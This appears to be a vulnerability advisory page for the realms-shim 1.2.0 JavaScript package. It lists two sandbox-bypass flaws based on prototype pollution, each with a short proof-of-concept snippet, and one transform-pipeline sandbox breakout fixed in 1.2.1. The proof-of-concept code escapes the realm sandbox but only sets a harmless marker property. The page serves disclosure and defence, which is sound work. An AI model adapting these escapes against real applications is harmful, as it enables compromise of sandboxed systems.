realms-shim@1.2.0 vulnerabilities

Spec-compliant shim for Realms TC39 Proposal

Direct Vulnerabilities

Known vulnerabilities in the realms-shim package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • C
Sandbox Bypass

realms-shim is a shim implementation of the Realm API Proposal.

Affected versions of this package are vulnerable to Sandbox Bypass via a Prototype Pollution attack vector.

PoC

import Realm from 'realms-shim'

let realm = Realm.makeRootRealm();
try {
    realm.evaluate(`
        Error.prepareStackTrace = function (error, stackTrace) {        
            stackTrace.__proto__.__proto__.polluted = 'success'            
        };
        x;
    `);
} catch(e) {
    // we do not even need to print e
}
console.log(polluted);

How to fix Sandbox Bypass?

There is no fixed version for realms-shim.

*
  • C
Sandbox Bypass

realms-shim is a shim implementation of the Realm API Proposal.

Affected versions of this package are vulnerable to Sandbox Bypass via a Prototype Pollution attack vector.

PoC

import Realm from 'realms-shim'
let realm = Realm.makeRootRealm();

realm.evaluate(`
function test() {    
    try {
       test();
    } catch (e) {                        
        e.__proto__.__proto__.__proto__.polluted = "success";        
        new Error().stack; // if one comments this uselss line, the PoC does not work anymore
    }
}
test();`);
console.log(polluted)

How to fix Sandbox Bypass?

There is no fixed version for realms-shim.

*
  • C
Sandbox Breakout

realms-shim is a shim implementation of the Realm API Proposal.

Affected versions of this package are vulnerable to Sandbox Breakout. The realms-shim is intended to provide a "safe evaluator" which executes arbitrary strings code with limited authority. This provides a "sandbox" which only has access to the specific objects and power that the caller chooses to expose. The evaluate() function it implements takes two additional arguments: endowments (which are exposed in the global lexical scope), and an options bag. The transforms option is a list of functions that are applied to the string of code, to apply Babel-like transformations before it gets executed (e.g. to implement syntax extensions).

A bug was found in the transformation pipeline that exposed a primal-Realm object to one of the transform functions. The confined code could use this to escape the sandbox and compromise the Realm which created it. This generally leads to a full compromise of the application.

How to fix Sandbox Breakout?

Upgrade realms-shim to version 1.2.1 or higher.

<1.2.1